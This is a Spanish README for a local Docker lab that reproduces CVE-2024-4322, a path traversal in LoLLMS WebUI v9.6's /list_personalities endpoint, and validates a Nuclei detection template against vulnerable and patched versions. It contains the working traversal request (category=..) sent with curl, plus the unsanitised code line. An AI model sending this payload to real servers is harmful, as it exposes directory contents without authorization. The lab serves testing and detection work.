
POC_CVE-2024-4322
Este repositorio proporciona laboratorios locales Dockerizados para reproducir CVE-2024-4322, una vulnerabilidad de path traversal en LoLLMS WebUI v9.6, y para validar que la plantilla de Nuclei asociada no coincide con LoLLMS WebUI v9.8.
Usa este laboratorio solo contra objetivos locales, propios o explícitamente autorizados.
El endpoint /list_personalities en LoLLMS WebUI v9.6 es vulnerable a path
traversal. El parámetro category controlado por el usuario se añade a
personalities_zoo_path sin saneamiento:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Al enviar category=.., la solicitud puede escapar del directorio de
personalidades previsto y listar el contenido de un directorio padre.
Señal esperada de la vulnerabilidad:
category= -> []
category=.. -> response contains "personalities_zoo"
El comportamiento corregido en v9.8 rechaza la entrada de traversal antes del listado de directorios.
Ejecuta todos los comandos desde el directorio que contiene este README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
Presiona Ctrl-C para dejar de seguir los registros. El contenedor sigue ejecutándose.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Resultado esperado:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
El orden puede variar. La señal importante es que la respuesta al traversal
difiere de la respuesta de control y contiene personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Resultado esperado:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Resultado esperado:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Resultado esperado:
[INF] Scan completed ... 0 matches found.

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Resultado esperado:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
El orden puede variar. La señal importante es que la respuesta al traversal
difiere de la respuesta de control y contiene personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Resultado esperado:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Resultado esperado:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Resultado esperado:
[INF] Scan completed ... 0 matches found.

Contenedores Linux:
docker compose --profile patched down --rmi local
Contenedores Windows:
docker compose --profile windows down
curl.jq para los ejemplos HTTP del Linux vulnerable.Si jq no está disponible en el host Linux, usa el contenedor analyst:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Si Nuclei no está instalado en Windows, descarga el binario de la versión para
Windows desde https://github.com/projectdiscovery/nuclei/releases, descomprímelo
y ejecuta nuclei.exe directamente desde el directorio extraído.
Los Dockerfiles parchean los instaladores históricos durante la compilación para que el laboratorio sea reproducible hoy:
Los laboratorios vulnerables clonan la etiqueta v9.6 de lollms-webui.
Los laboratorios parcheados clonan la etiqueta v9.8 de lollms-webui.
La URL del submódulo lollms_core se reescribe a https://github.com/ParisNeo/lollms_legacy.git porque el historial antiguo del código fuente se movió allí.
El anclaje de versiones se comprueba contra los metadatos Git ascendentes:
v9.6 es e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, y v9.8 es
8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
Los commits correspondientes del submódulo lollms_core son
para v9.6 y
para v9.8, comprobados con
en cada checkout de etiqueta.
La invariante rota es:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 y versiones posteriores abordan el problema saneando o
restringiendo la ruta category antes de que llegue a la lógica de listado de
directorios del sistema de archivos. Para implementaciones reales, actualiza
LoLLMS WebUI a la versión 9.8 o posterior.
| Entorno | Versión | Servicio | URL del host | Resultado esperado de la plantilla |
|---|
| Linux vulnerable | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | coincidencia |
| Linux parcheado | v9.8 | linux-patched-server | http://127.0.0.1:9602 | sin coincidencia |
| Windows vulnerable | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | coincidencia |
| Windows parcheado | v9.8 | windows-patched-server | http://127.0.0.1:9603 | sin coincidencia |
cfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_coreLas opciones auto_update y auto_sync_* están deshabilitadas para mantener
cada laboratorio anclado.
Se inyectan archivos de configuración headless para que el servidor pueda iniciarse sin preguntas.
Las dependencias pesadas que no son necesarias para la validación del endpoint se omiten cuando es posible.
Los instaladores de Windows se parchean para crear su directorio temporal y evitar submódulos recursivos obsoletos.